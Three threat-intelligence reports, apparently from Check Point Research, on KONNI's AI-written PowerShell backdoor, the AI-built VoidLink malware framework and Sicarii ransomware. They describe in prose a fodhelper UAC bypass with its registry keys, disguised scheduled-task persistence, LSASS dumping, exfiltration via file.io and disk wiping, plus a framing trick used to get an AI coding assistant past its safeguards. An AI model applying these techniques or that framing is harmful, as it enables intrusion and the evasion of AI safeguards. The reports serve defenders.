Check Point Research (CPR) identified an ongoing phishing campaign that we associate with KONNI, a North Korean–linked threat actor active since at least 2014. KONNI is best known for targeting organizations and individuals in South Korea, with a focus on diplomatic channels, international relations, NGOs, academia, and government. The group typically relies on spear-phishing that delivers weaponized documents themed around geopolitical issues and activity on the Korean Peninsula.
In this publication, we describe a recent KONNI operation aimed at software developers and engineering teams. The attackers use lure content designed to look like legitimate project documentation, often tied to blockchain and crypto initiatives. This targeting suggests an intent to compromise targets with access to blockchain-related resources and infrastructure.
While the delivery and staging steps align with KONNI’s established tradecraft, the campaign shows signs of broader targeting across the APAC region, extending beyond the group’s usual focus areas. Another notable aspect of the campaign is its use of an AI-written PowerShell backdoor, reflecting the increasing adoption of AI-enabled tooling by threat actors, including North Korean–linked groups.
Targets and Lures
Historically, KONNI activity was focused on South Korea, with only occasional targets located outside the country. In this campaign, however, multiple samples were uploaded to VirusTotal by submitters associated with Japan, Australia, and India, pointing to a potential geographic expansion beyond the group’s typical operating areas.
The campaign appears to target engineering teams, with a clear emphasis on blockchain-related technologies. The lure documents are presented as legitimate project materials and include technical details such as architecture, technology stacks, development timelines, and in some cases, budgets and delivery milestones. This pattern suggests an intent to compromise development environments, thereby obtaining access to sensitive assets, including infrastructure, API credentials, wallet access, and ultimately cryptocurrency holdings.
While this blockchain and crypto focus is more commonly associated with other North Korean–linked actors, there are indications that KONNI also engaged in financially-motivated and crypto-related targeting in the past.
Figure 1 – Blockchain themed lures used in this campaign.
Infection Chain
Figure 2 – Infection Chain.
The infection chain starts with a Discord-hosted link that downloads a ZIP archive via an unknown vector. The ZIP contains two files: a PDF lure document and a Windows shortcut (LNK) file. The LNK launches an embedded PowerShell loader which extracts two additional files: a DOCX lure document and a CAB archive, both embedded within the LNK and XOR-encoded using a single-byte key.
When executed, the LNK:
Writes the DOCX and CAB files to disk.
Opens the DOCX lure to distract the user.
Extracts the CAB archive, which contains:
PowerShell Backdoor
Two batch files
An executable used for UAC bypass
Executes the first batch file extracted from the CAB.
The first-stage batch script creates a new staging directory in C:\ProgramData, which is used to store the malicious components. The script then moves the PowerShell backdoor code and an additional batch file into this directory. To establish persistence, the script creates a scheduled task, disguised as a legitimate OneDrive startup task, configured to run hourly with the current user privilege. This task executes an inline PowerShell command that reads the encrypted PowerShell backdoor from disk, XOR-decrypts it using the single-byte key ‘Q’, and immediately executes the decoded script in memory. It then attempts to launch OneDriveUpdater.exe, which is not present in this infection chain and is a leftover artifact from a previous version. Finally, the batch script deletes itself from disk and exits, removing the initial execution artifact to reduce forensic visibility.
The PowerShell backdoor is heavily obfuscated using arithmetic-based character encoding. Each string is constructed by summing and subtracting numeric literals that resolve at runtime into individual ASCII characters. These decoded characters are concatenated into multiple variables, effectively acting as a string dictionary. The final stage dynamically reconstructs and executes the malicious logic using IEX (Invoke-Expression cmdlet), with substrings indexed from the previously built variables.
Figure 3 – Obfuscated PowerShell backdoor.
AI Usage
The PowerShell backdoor strongly indicates AI-assisted development rather than traditional operator-authored malware.
At first glance, the script has an unusually polished structure. It opens with clear, human-readable documentation describing the script’s functionality:
“This script ensures that only one instance of this UUID-based project runs at a time. It sends system info via HTTP GET every 13 minutes.”
This level of upfront documentation is atypical for commodity or APT-authored PowerShell implants. The script is further divided into well-defined logical sections, each handling a specific task, reflecting modern software engineering conventions rather than ad-hoc malware development.
Figure 4 – PowerShell Backdoor Documentation.
While clean structure and comments alone are not sufficient to attribute AI origins, the script contains a far more telling indicator. Embedded directly in the code is the comment:
“# <– your permanent project UUID”
This phrasing is highly characteristic of LLM-generated code, where the model explicitly instructs a human user on how to customize a placeholder value. Such comments are commonly observed in AI-produced scripts and tutorials.
Figure 5 – AI-produced string in the PowerShell backdoor script.
The verbose documentation, modular layout, and instructional placeholder comments all strongly suggest that the PowerShell backdoor was generated using an AI system, marking a notable shift in KONNI APT’s tooling development.
PowerShell Backdoor analysis
The PowerShell backdoor begins execution with a series of anti-analysis and sandbox-evasion checks. These include validating that the host meets minimum hardware thresholds and actively scanning for the presence of analysis and monitoring tools such as IDA, Wireshark, Procmon, etc. In addition, the backdoor enforces user-interaction checks by monitoring mouse activity and requires a minimum number of clicks before continuing. If these conditions are not met, the script terminates immediately.
After these conditions are met, the backdoor enforces single-instance execution by creating a global mutex named Global\SysInfoProject_<projectUUID>. The project UUID is hardcoded and is identical across all analyzed samples in this campaign: f7d77a6d-36e0-4fcb-bae7-5f4b3b723f61. The backdoor then generates a host-specific identifier used for C2 (Command and Control) tracking. It fingerprints the system by querying WMI for the motherboard serial number and the system UUID. These values are concatenated and hashed using SHA-256, after which the resulting hexadecimal hash is truncated to the first 16 characters. To further differentiate infections and allow operators to distinguish victims across campaigns, a hardcoded campaign-specific string is appended to this identifier before transmission.
Figure 6 – Monitoring and analysis process blacklist.
Next, the malware evaluates its current privilege level and takes a different path for each result:
User – The backdoor uses fodhelper UAC bypass to elevate privileges. This technique abuses the auto-elevated fodhelper.exe binary by modifying registry keys under HKCU\Software\Classes to redirect how Windows resolves the ms-settings protocol. In this case, it creates a custom handler in HKCU\Software\Classes\.thm\Shell\Open\command that points to an attacker-controlled executable and then sets HKCU\Software\Classes\ms-settings\CurVer to reference the .thm file type. When fodhelper.exe is launched, Windows follows this redirected resolution path causing fodhelper.exe to execute an attacker-controlled payload without triggering a UAC prompt. In this campaign, the elevated payload is rKXujm.exe, a small 32-bit utility whose sole purpose is to modify the registry keyHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\SystemConsentPromptBehaviorAdmin to 0, effectively disabling UAC prompts for administrator accounts. After successfull execution, the flow continues to the Admin scenario.
Admin – The backdoor performs cleanup of the previously dropped UAC bypass executable. The backdoor then adds a Windows Defender exclusion for C:\ProgramData and executes the second batch script extracted earlier in the infection chain. This script replaces the existing scheduled task with a new one configured to run with elevated privileges, ensuring persistent execution in a high-integrity context.
System – The backdoor deploys SimpleHelp, a legitimate RMM (Remote Monitoring and Management) tool, suggesting operator intent to maintain long-term interactive access beyond the PowerShell backdoor.
Figure 7 – Privilege-Based Execution Flow.
As an initial step in C2 communication, the backdoor performs a JavaScript challenge emulation to obtain a required session cookie named __test from the server. The C2 endpoint is protected by a client-side AES-based gate intended to block non-browser traffic. Instead of using a browser, the backdoor downloads the same AES implementation used by the site, reconstructs the embedded JavaScript logic, decrypts the server-provided ciphertext, and extracts the expected token programmatically. This token is then used as a valid cookie in subsequent HTTP requests, allowing the backdoor to access the C2 infrastructure while bypassing basic anti-bot and non-browser filtering mechanisms. After authentication, the backdoor periodically sends host metadata, including the generated host ID, privilege level, local IPv4 address, and username, to a PHP-based C2 endpoint. Server responses are treated as tasking: if PowerShell code is returned, it is converted into a script block and executed asynchronously via background jobs. Command polling occurs at randomized intervals, and blacklist checks continue during runtime to terminate execution if analysis tools are detected.
Figure 8 – Post request sent to the C2 server.
Earlier Variants of the Infection Chain
Samples uploaded to VirusTotal in October 2025 reveal an earlier variant of the infection chain. In this variant, the initial payload is an obfuscated PowerShell script, with the same obfuscation method (arithmetic-based character encoding) that retrieves multiple secondary components from an attacker-controlled server. These include a mix of batch files, VBScript launchers, a PowerShell backdoor, and two PE files: uc.exe, the same executable discussed earlier for the UAC bypass, and OneDriveUpdater.exe. OneDriveUpdater, which was not present in the samples analyzed from the later campaign even though it was mentioned at the batch file, is a 64-bit PE file whose primary purpose is to download and execute a Simple Help client, which provides the attackers with interactive remote access.
Figure 9 – Early PowerShell script variant.
Execution begins with start.vbs, which silently launches simi.bat. Similar to the primary batch file described in the later samples, simi.bat creates a dedicated subdirectory in C:\ProgramData and relocates the downloaded scripts there for staging. In addition to organizing the tooling, simi.bat executes OneDriveUpdater.exe and then launches schedule1.bat. This script establishes persistence by creating a scheduled task that periodically runs the PowerShell backdoor, in this case named OneDriveUpdate.ps1. While the execution flow is largely consistent with later samples, this earlier variant distributes its functionality across multiple scripts instead of combining it into a single batch file.
start.vbs initiates execution, simi.bat handles staging and payload execution, and schedule1.bat is responsible for persistence. The same modular structure applies to the other supporting scripts that are not explicitly described here.
Attribution
The tactics, techniques, and procedures (TTPs) observed in this campaign strongly align with those associated with North Korean actors, specifically activities tied to the KONNI APT cluster. The campaign is initiated by a weaponized LNK shortcut whose structure and execution logic closely matches KONNI’s attributed LNK launchers described in earlier reports, including a case where the lure filename directly overlaps with a previously reported KONNI artifact (Avinash_CV.lnk). The broader execution chain is likewise consistent with documented KONNI operations: a modular, multi-stage chain built around VBS and multiple BAT scripts, where each component performs a narrowly scoped role (staging, persistence, execution, and handoff to the next layer). Finally, earlier variants in this campaign reuse script names and code patterns that appeared in historical KONNI activity, such as start.vbs launching a follow-on batch file simi.bat, that reinforces our assessment that this activity is part of the KONNI toolset.
Figure 10 – start.vbs from December 2024 infection chain compared to start.vbs from October 2025 downloaded from the server.
Conclusion
This campaign highlights the evolution of the KONNI APT group. The delivery and staging remain aligned with previously documented KONNI tradecraft, including the use of weaponized LNK shortcuts and a modular, multi-stage execution chain built from narrowly scoped script components. These overlaps, together with the recurring naming conventions and execution logic seen in previous reports, these artifacts reinforce our attribution to the KONNI toolset.
At the same time, the targeting reflects a notable shift in behavior. The operation is built around blockchain-themed project materials and appears designed to reach software developers and engineering teams, pointing to an access-oriented objective. Instead of focusing on individual end-users, the campaign goal seems to be to establish a foothold in development environments, where compromise can provide broader downstream access across multiple projects and services.
Finally, this campaign is notable for its apparent use of an AI-written PowerShell backdoor. The introduction of AI-assisted tooling suggests an effort to accelerate development and standardize code while continuing to rely on proven delivery methods and social engineering. Combined with indicators suggesting activity beyond KONNI’s historically South Korean–centric footprint, this operation illustrates how a mature threat actor can maintain stable intrusion workflows while adapting both its targeting and tooling.
Check Point Research (CPR) believes a new era of AI-generated malware has begun. VoidLink stands as the first evidently documented case of this era, as a truly advanced malware framework authored almost entirely by artificial intelligence, likely under the direction of a single individual.
Until now, solid evidence of AI-generated malware has primarily been linked to inexperienced threat actors, as in the case of FunkSec, or to malware that largely mirrored the functionality of existing open-source malware tools. VoidLink is the first evidence based case that shows how dangerous AI can become in the hands of more capable malware developers.
Operational security (OPSEC) failures by the VoidLink developer exposed development artifacts. These materials provide clear evidence that the malware was produced predominantly through AI-driven development, reaching a first functional implant in under a week.
This case highlights the dangers of how AI can enable a single actor to plan, build, and iterate complex systems at a pace that previously required coordinated teams, ultimately normalizing high-complexity attacks, that previously would only originate from high-resource threat actors.
From a methodology perspective, the actor used the model beyond coding, adopting an approach called Spec Driven Development (SDD), first tasking it to generate a structured, multi-team development plan with sprint schedules, specifications, and deliverables. That documentation was then repurposed as the execution blueprint, which the model likely followed to implement, iterate, and test the malware end-to-end.
Introduction
When we first encountered VoidLink, we were struck by its level of maturity, high functionality, efficient architecture, and flexible, dynamic operating model. Employing technologies like eBPF and LKM rootkits and dedicated modules for cloud enumeration and post-exploitation in container environments, this unusual piece of malware seemed to be a larger development effort by an advanced actor. As we continued tracking it, we watched it evolve in near real time, rapidly transforming from what appeared to be a functional development build into a comprehensive, modular framework. Over time, additional components were introduced, command-and-control infrastructure was established, and the project accelerated toward a full-fledged operational platform.
In parallel, we monitored the actor’s supporting infrastructure and identified multiple operational security (OPSEC) failures. These missteps exposed substantial portions of VoidLink’s internal materials, including documentation, source code, and project components. The leaks also contained detailed planning artifacts: sprints, design ideas, and timelines for three distinct internal “teams,” spanning more than 30 weeks of planned development. At face value, this level of structure suggested a well-resourced organization investing heavily in engineering and operationalization.
However, the sprint timeline did not align with our observations. We had directly witnessed the malware’s capabilities expanding far faster than the documentation implied. Deeper investigation revealed clear artifacts indicating that the development plan itself was generated and orchestrated by an AI model and that it was likely used as the blueprint to build, execute, and test the framework. Because AI-produced documentation is typically thorough, many of these artifacts were timestamped and unusually revealing. They show how, in less than a week, a single individual likely drove VoidLink from concept to a working, evolving reality.
As this narrative comes into focus, it turns long-discussed concerns about AI-enabled malware from theory into practice. VoidLink, implemented to a notably high engineering standard, demonstrates how rapidly sophisticated offensive capability can be produced, and how dangerous AI becomes when placed in the wrong hands.
AI-Crafted Malware: Creation and Methodology
The general approach to developing VoidLink can be described as Spec Driven Development (SDD). In this workflow, a developer begins by specifying what they’re building, then creates a plan, breaks that plan into tasks, and only then allows an agent to implement it.
High-level overview of the VoidLink Project
Artifacts from VoidLink’s development environment suggest that the developer followed a similar pattern: first defining the project based on general guidelines and an existing codebase, then having the AI translate those guidelines into an architecture and build a plan across three separate teams, paired with strict coding guidelines and constraints, and only afterward running the agent to execute the implementation.
Project Initialization
VoidLink’s development likely began in late November 2025, when its developer turned to TRAE SOLO, an AI assistant embedded in TRAE, an AI-centric IDE. While we do not have access to the full conversation history, TRAE automatically produces helper files that preserve key portions of the original guidance provided to the model. Those TRAE-generated files appear to have been copied alongside the source code to the threat actor’s server, and later surfaced due to an exposed open directory. This leakage gave us unusually direct visibility into the project’s earliest directives.
In this case, TRAE generated a Chinese-language instruction document. These directives offer a rare window into VoidLink’s early-stage planning and the baseline requirements that set the project in motion. The document is structured as a series of key points:
Chinese
English
Description
目标
Objective
Explicitly instructs the model not to implement code or provide technical details related to adversarial techniques, likely an attempt to navigate or bypass initial model safety constraints (”jailbreak”).
资料获取
Material acquisition
Directs the model to reference an existing file named c2架构.txt (C2 Architecture), which likely contained the seed architecture and design concepts for the C2 platform.
架构梳理
Architecture breakdown
Takes the initial input and decomposes it into discrete components required to build a functional and robust framework.
风险与合规评估
Risk and compliance
Frames the work in terms of legal boundaries and compliance, likely used as a credibility layer and/or an additional attempt to steer the model toward permissive responses.
代码仓库映射
Code repository mapping
Suggests VoidLink was bootstrapped from an existing minimal codebase provided to the model as a starting point, but subsequently rewritten end-to-end.
交付输出
Deliverables
Requests a consolidated output package: an architecture summary, a risk/compliance overview, and a technical roadmap to convert the concept into an operational framework.
下一步
Next Steps
A confirmation from the agent that, once the TXT file is provided, it will proceed to extract it and deliver the relevant information.
This summary of the developer’s initial exchange with the agent suggests the opening directive was not to build VoidLink directly, but to design it around a thin skeleton and produce a concrete execution plan to turn it into a working platform. It remains unclear whether this approach was purely pragmatic, intended to make the process more efficient, or a deliberate “jailbreak” strategy to navigate guardrails early and enable full end-to-end malware development later.
Project Specifications
Beyond the TRAE-generated prompt document, we also uncovered an unusually extensive body of internal planning material: a comprehensive work plan spanning three development teams. Written in Chinese and saved as Markdown (MD) files, the documentation bears all the hallmarks of a Large Language Model (LLM): highly structured, consistently formatted, and exceptionally detailed. Some appear to have been generated as a direct output of the planning request described above.
These documents are laid out in various folders and include sprint schedules, feature breakdowns, coding guidelines, and others, with clear ownership by teams:
The earliest of these documents, timestamped to November 27th, 2025, describes a 20-week sprint plan across three teams: a Core Team (Zig), an Arsenal Team (C), and a Backend Team (Go). The plan is strikingly specific, referencing additional companion files intended to document each sprint in depth. Notably, the initial roadmap also includes a dedicated set of standardization files, prescribing explicit coding conventions and implementation guidelines, effectively a rulebook for how the codebase should be written and maintained.
Translated development plan for three teams: Core, Arsenal and Backend.
A review of the code standardization instructions against the recovered VoidLink source code shows a striking level of alignment. Conventions, structure, and implementation patterns match so closely that it leaves little room for doubt: the codebase was written to those exact instructions.
Code headers as described in the specifications (Left) compared to actual source code (Right)
The source itself, apparently developed according to the documented sprints and coding guidelines, was presented as a 30-week engineering effort, yet appears to have been executed in a dramatically shorter timeframe. One recovered test artifact, timestamped to December 4, a mere week after the project began, indicates that by that date, VoidLink was already functional and had grown to more than 88,000 lines of code. At this point in time, a compiled version of it was already submitted to VirusTotal, marking the beginning of our research.
VoidLink report showing lines of code (Added translations in parentheses)
Generating VoidLink from Scratch
With access to the documentation and specifications of VoidLink and its various sprints, we replicated the workflow using the same TRAE IDE that the developer used (although any frontend for agentic models would work). While TRAE SOLO is only available as a paid product, the regular IDE is sufficient here, as the documentation and design are already available, and the design step can be skipped.
When given the task of implementing the framework described according to the specification in the markdown documentation files sprint by sprint, the model slowly began to generate code that resembled the actual source code of VoidLink in structure and content.
Source tree after the second sprint
By implementing each sprint according to the specified code guidelines, feature lists, and acceptance criteria, and writing tests to validate those, the model quickly implemented the requested code. While the chosen model still influences code quality and overall coding style, the detailed and precise documentation ensures a comparatively high level of reproducibility, as the model has less room for interpretation and strict testing criteria to validate each feature.
Implementing sprint 1 according to the documentation and requirements
The usage of sprints is a helpful pattern for AI code engineering because at the end of each sprint, the developer has a point where code is working and can be committed to a version control repository, which can then act as the restore point if the AI messes up in a later sprint. The developer can then do additional manual testing, refine the specs and documentation, and plan the next sprint. This emulates a lightning-fast SCRUM software engineering team, where the developer acts as the product owner.
Sprint completion log
While testing, integration, and specification refinements are left to the developer, this workflow can offload almost all coding tasks to the model. This results in the rapid development we observed, resembling the efforts of multiple teams of professionals in the pre-agentic-AI era.
Conclusion
Within the rapid advancement of AI technologies, the security community has long anticipated that AI would be a force multiplier for malicious actors. Until now, however, the clearest evidence of AI-driven activity has largely surfaced in lower-sophistication operations, often tied to less experienced threat actors, and has not meaningfully raised the risk beyond regular attacks. VoidLink shifts that baseline: its level of sophistication shows that when AI is in the hands of capable developers, it can materially amplify both the speed and the scale at which serious offensive capability can be produced.
While not a fully AI-orchestrated attack, VoidLink demonstrates that the long-awaited era of sophisticated AI-generated malware has likely begun. In the hands of individual experienced threat actors or malware developers, AI can build sophisticated, stealthy, and stable malware frameworks that resemble those created by sophisticated and experienced threat groups.
Our investigation into VoidLink leaves many open questions, one of them deeply unsettling. We only uncovered its true development story because we had a rare glimpse into the developer’s environment, a visibility we almost never get. Which begs the question: how many other sophisticated malware frameworks out there were built using AI, but left no artifacts to tell?
Additional Credit
We want to acknowledge @huairenWRLD for collaboration, who, following our initial blog post, also investigated VoidLink.
Sicarii is a newly observed RaaS operation that surfaced in late 2025 and has only published 1 claimed victim.
The group explicitly brands itself as Israeli/Jewish, using Hebrew language, historical symbols, and extremist right-wing ideological references not usually seen in financially-motivated ransomware operations.
Underground online activity associated with Sicarii is primarily conducted in Russian, including RaaS recruitment posts and forum engagement.
Hebrew content used by the group appears to be machine-translated or non-native and contains grammatical and semantic errors.
The group’s behavior and messaging diverge from established ransomware practices and raise the possibility of identity manipulation or influence-oriented signaling, rather than a real and mature criminal operation.
The ransomware performs an active geo-fencing check to prevent execution on Israeli systems, an unusual design choice that weakens plausible deniability.
The ransomware’s technical capabilities include data exfiltration, collecting system credentials and network information, check exploitation for Fortinet devices, and encrypt files using AES-GCM and the .sicarii extension.
Introduction
In December 2025, a previously unknown Ransomware-as-a-Service (RaaS) operation calling itself Sicarii began advertising its services across multiple underground platforms. The group’s name references the Sicarii, a 1st-century Jewish assassins group that opposed Roman rule in Judea. From its initial appearance, the Sicarii ransomware group distinguished itself through unusually explicit and persistent use of Israeli and Jewish symbolism in its branding, communications, and malware logic.
Figure 1 – Sicarii Ransomware logo featuring the phrase “The Sicarii Knife” in Hebrew text with the symbol of the Haganah (predecessor to the Israel Defense Forces).
Unlike most financially-motivated ransomware groups, Sicarii overtly claims Israeli or Jewish affiliation. Its visual branding incorporates Hebrew text and the emblem of the historical Jewish paramilitary organization Haganah, while its ransomware selectively avoids executing on systems identified as Israeli. The group further claims ideological motivation rooted in extremist Jewish groups, while simultaneously marketing the operation as profit-driven and offering financial incentives for attacks against Arab or Muslim states.
In this report, Check Point Research (CPR) examines Sicarii’s background and capabilities, outlines its technical characteristics, and highlights a series of anomalies and inconsistencies that complicate attribution and clear understanding who is behind this group. These indicators raise questions regarding the authenticity of the group’s claimed identity and suggest the possibility of performative or false-flag behavior rather than genuine national or ideological alignment.
Technical analysis
While the exact initial access path is still unclear, communications with the group suggest the operator is likely purchasing access to the targeted organizations and not necessarily exploiting them directly.
The ransomware execution begins with an Anti-VM phase that tries to determine whether the malware is running in a real victim environment or inside a sandbox. It performs several environment checks, including virtualization detection. If it concludes it is executing inside a VM, it stops early and displays a decoy MessageBox error: "DirectX failed to initialize memory during runtime, exiting". Next, it enforces single-instance execution by creating a mutex and exiting if the mutex already exists. The ransomware then copies itself to the Temp directory with a random name in the format svchost_{random}.exe
The ransomware tests for Internet connection by attempting to contact the following url 120 times: google.com/generate_204
Figure 2 – Check for internet connection.
After checking connectivity, the ransomware determines if the victim is Israeli by checking:
Is the time zone set to Israel
Does the keyboard layout include Hebrew
Do any adapter IPs belongs to Israeli subnets
After establishing its execution context, the ransomware disables SafeBoot options and initiates broad collection of high-value data and files with predefined extensions list from Documents\Downloads\Desktop\VIdeos\Pictures\Music. While this activity supports double extortion, the harvested information may also be leveraged for lateral movement or follow-up attacks. The malware collects registry hives, system credentials, browser data, and some application data from platforms including Discord, Slack, Roblox, Telegram, Office, WhatsApp, Atomic Wallet and more. In addition, it attempts to dump LSASS to obtain further credentials. All collected data is packaged into a ZIP archive named collected_data.zip and exfiltrated to an external service via file.io.
Figure 3 – Staging the collected data in a ZIP archive.
Next, the malware performs network reconnaissance to better understand the victim’s environment. The malware enumerates the local network configuration, maps nearby hosts via ARP requests, and actively probes discovered systems. As part of this process, it scans for exposed RDP services and attempts to exploit Fortinet devices using CVE-2025-64446.
Figure 4 – CVE-2025-64446 exploitation code.
To maintain persistence, the malware uses several different mechanisms, favoring redundancy:
Registry Run key
Creating a service named WinDefender
Creating a new user SysAdmin with password Password123!
Creating a new AWS user, without any check if AWS is installed:
Figure 5 – Persistence via AWS.
Next, the malware checks if AV and VPN products are running. If so, it terminates their processes and sends to the C2 server the link to file.io which contains exfiltrated data file and victim information:
Figure 6 – Sending victim data to the attackers’ server.
Finally, after finishing reconnaissance, privilege handling, and data collection stages, the ransomware moves into the main impact phase: encryption. It iterates through common user directories such as Documents, Desktop, Music, Downloads, Pictures and Videos, and encrypts files in place using the BCryptEncrypt API. The .sicarii extension is appended to each encrypted file name:
The algorithm used is AES-GCM (256-bit key) via BCryptOpenAlgorithmProvider("AES", ..., "ChainingModeGCM").
A unique random AES key is used for each file and the encryption parameters (nonce and tag) are stored in an XOR-0xAA-encoded header.
The encrypted file is named <original_name>.sicarii and contains only a custom header plus ciphertext.
The original unencrypted file is deleted.
The ransomware drops its ransom note:
Figure 7 – Ransom Note.
As a final pressure mechanism, the malware deploys a destructive component intended to hinder system recovery and prolong operational downtime. The ransomware drops a destruct.bat script and registers it to execute at system startup. When triggered, the script corrupts critical bootloader files, leverages built-in Windows utilities such as cipher and diskpart to perform disk-wiping operations, and ultimately forces an immediate system shutdown.
Figure 8 – Destructive phase.
Intelligence Findings & Anomalies
Telegram Presence
The primary Sicarii operator uses the Telegram account @Skibcum, operating under the display name “Threat.” According to our analysis, the account was registered in November 2025, shortly before Sicarii’s initial appearance in underground forums and RaaS advertisements. This timing aligns closely with the group’s emergence and suggests the account was created specifically for this operation rather than part of a long-standing criminal persona.
The account’s profile image features a repurposed internet meme containing the phrase “Smile is a mitzvah” (the word “mitzvah” in Hebrew means “good deed”) alongside iconography associated with the banned Israeli extremist Kach organization.
Figure 9 – Threat’s Profile picture.
The account is active in several Telegram group chats associated with underground communities. These include Russian-language informal hacker and meme-oriented channels where the operator participates in casual conversation, exchanges stickers and GIFs, as well as chats unrelated to operational activity. The tone in public group chats is informal and at times impulsive, standing in contrast to the more deliberate and controlled tone adopted in private communications.
In all these communications, the operator demonstrates comfortable fluency in English and Russian, using colloquial phrasing, slang, and emotionally expressive language consistent with native or near-native proficiency. No comparable fluency is observed in the Hebrew language in any setting.
Direct Messaging and Signaling Behavior
In private communications, the operator posed as Sicarii’s communications lead and made several self-reported operational claims:
Victim Activity: Claimed that Sicarii compromised 3–6 victims within approximately one month, all of whom paid the ransom.
Targeting Strategy: Stated that the group focuses on small businesses, intentionally avoiding large enterprises and government entities to reduce scrutiny and pressure.
Negotiation Practices: Acknowledged routine negotiation and cited a single case in which a ransom demand was reduced to approximately USD 10,000 for an incident involving around five endpoints.
Comparative Positioning: Repeatedly compared Sicarii to established Russian ransomware groups such as LockBit and Qilin, while emphasizing that Sicarii is intentionally maintaining a lower profile “for now.”
On January 5, 2026, Sicarii published its first publicly listed victim, a Greece-based manufacturer. Shortly thereafter, Sicarii advertised downloadable exfiltrated data hosted on a public file-sharing service, but the file download links quickly expired. The operator described this victim as “just a test,” despite earlier assertions that multiple successful extortion cases had already occurred. This reframing introduces an internal inconsistency between prior claims of operational success and the treatment of the first disclosed victim.
Ideological Claims vs. Financial Motivation
Sicarii simultaneously frames itself as a profit-driven RaaS platform and an ideologically motivated actor inspired by extremist Jewish figures. Multiple conversations and advertisements emphasize that Sicarii prioritizes attacks against Arab or Muslim targets and explicitly volunteer “insider information” about their intention to next target a Saudi Arabian entity.
Figure 10 – Insider information offer.
This duality is inconsistent with observed ransomware ecosystems, where ideological messaging is typically minimized to avoid limiting affiliate recruitment and operational reach. The selective invocation of ideology, particularly when paired with commercial incentives, appears performative rather than doctrinal.
Figure 11 – Performative claim or ideological statement?
Performative Israeli Identity and Linguistic Inconsistencies
Although Sicarii group members present themselves as Israeli or Jewish, their use of Hebrew strongly suggests non-native language skills. Hebrew content on the group’s shame site contains misspellings, awkward phrasing, and literal translations of English idioms that do not exist in Hebrew. In private communications, the Telegram user claimed to personally handle only “frontend and communications,” while asserting other operators are Israeli and responsible for ransomware development and initial access operations. Using the same Telegram profile, the actor quickly reemerged as “Isaac” while producing Hebrew that appears to be machine-translated English and insisting they are Hebrew speakers even when challenged.
Figure 12 – An excerpt from the chat with the Sicarii operator, allegedly handing over their account to another operator, “Isaac”, who is Israeli.
In contrast, Sicarii’s activity on underground forums and Telegram channels is conducted fluently in Russian and English, including structured RaaS advertisements and informal interactions. This linguistic asymmetry indicates that English or Russian is actually the operator’s primary language.
Behavioral Indicators and OpSec Observations
The operator’s Telegram behavior displays several notable characteristics:
Low operational discipline, such as openly requesting “ransomware APKs” in public group chats rather than sourcing such information privately.
Identity play and inconsistency, including shifting self-descriptions and performative signaling toward ideological alignment without a clear strategic purpose.
This reinforces the impression of a relatively inexperienced actor navigating established underground ecosystems rather than a seasoned participant.
Visual Branding and Subcultural Overlap Image
The Telegram operator’s profile image and shared graphics reuse a modified internet meme featuring the phrase “Smile is a mitzvah” alongside symbols associated with the banned Israeli extremist organization Kach. The only variant of this image was identified within a looksmax forum, an online male-dominated subculture often characterized by extreme racism, misogyny, and anti-Semitic discourse.
The limited circulation of this image suggests it’s not a mainstream ideological representation. The forum user who shared this picture said he was a 15-year-old boy and participated in anti-Semitic forum threads.
VirusTotal Activity – Uploading Your Own Source Code & Terrorist Images
The majority of Sicarii-associated samples were submitted to VirusTotal by a single community account which uploaded approximately 250 files over the past several months. Most submissions correspond to apparent variants or loaders associated with the Sicarii ransomware.
Notably, the ransomware binaries were frequently uploaded under the generic filename Project3.exe, a naming convention consistent with testing, staging, or iterative development rather than finalized deployment artifacts.
In addition to compiled ransomware samples, the same VirusTotal account uploaded a source code file titledransomawre.cson October 25, 2025, predating Sicarii’s public emergence. This source code referenced the same Tor infrastructure later used by the Sicarii ransomware, suggesting early development or experimentation prior to operational deployment.
In addition to malware-related submissions, the same account also uploaded:
Unrelated suspicious files
Malware report-style documents
An image of Meir Kahane, founder of the extremist Kach organization
The convergence of ransomware testing artifacts, early-stage source code, and extremist ideological imagery within a single VirusTotal account is atypical for mature ransomware operations. Instead of reflecting a compartmentalized development pipeline or affiliate-driven ecosystem, this activity suggests personal experimentation or centralized control, reinforcing the impression of limited operational experience and informal tradecraft.
Explicit National Signaling and Deviation from Ransomware Norms
Established ransomware groups, particularly those operating from Russia or Eastern Europe, typically avoid overt national or ideological signaling to preserve plausible deniability and reduce geopolitical risk. Even well-documented Russian-linked groups such as Qilin or Cl0p refrain from explicit self-identification, despite consistently avoiding domestic targets.
Notably, Sicarii’s operators referenced Qilin and Cl0p in private communications, explicitly describing them as Russian groups that do not attack within Russia and stating that Sicarii follows the “same logic.” This comparison was used by the operator to justify both excluding Israeli victims and the group’s broader targeting posture.
Despite invoking this model, Sicarii diverges sharply from established ransomware norms by:
Advertising preferential rates for attacks against Arab or Muslim states.
Embedding Israeli geo-exclusion logic directly into its ransomware.
Publicly associating itself with extremist Jewish figures and symbols.
Whereas Eastern European ransomware groups rely on implicit understandings and silent geographic avoidance, Sicarii’s approach is unusually explicit and performative. Such behavior is not only unnecessary for a financially motivated RaaS but also invites avoidable exposure. All of this suggests either limited operational maturity or deliberate signaling beyond purely criminal objectives.
Historical Precedent for False-Flag Use of Jewish Identity
Previous campaigns attributed to Iranian-aligned or anti-Israeli actors, including Moses Staff and Abraham’s Ax, leveraged Jewish historical references and fabricated Israeli insider personas to conduct false-flag operations or influence campaigns.
While no direct technical linkage exists between Sicarii and these actors, the use of Jewish extremist symbolism, overt Israeli identity claims, and ideologically charged rhetoric mirrors known deception techniques employed in prior operations by anti-Israeli Middle Eastern actors.
Leak site
The Sicarii leak site is notably rudimentary, offering display options in both Hebrew and English. The Hebrew version is characterized by awkward phrasing and frequent misspellings, further indicating non-native authorship. In private communications, the operator stated that AI tools were used in the site’s development. Notably, the leak site was active for approximately one month before the first victim was published, a delay that is atypical for RaaS operations seeking rapid visibility and credibility.
Figure 13 -Sicarii onion website.
Conclusion & Assessment
Sicarii is a newly observed ransomware operation that combines a functional extortion capability with unusually explicit Israeli and Jewish branding. While the malware itself demonstrates credible ransomware functionality, the group’s behavior and presentation deviate from established ransomware norms.
On Telegram communications, underground forum activity, and public-facing infrastructure, Sicarii repeatedly asserts national and ideological identity in ways that provide no clear operational benefit. Although the operators compare themselves to Russian ransomware groups such as Qilin and Cl0p (arguing that those groups also avoid domestic targets), Sicarii departs from this model by making its alignment explicit and performative, weakening plausible deniability.
Linguistic analysis further undermines the group’s claims. Hebrew usage across the leak site and private communications is inconsistent and indicative of non-native authorship, while English and Russian are used fluently. Operationally, the group appears centralized and informal, with early-stage tooling, inconsistent victim narratives, and limited compartmentalization, suggesting experimentation rather than a mature RaaS ecosystem.
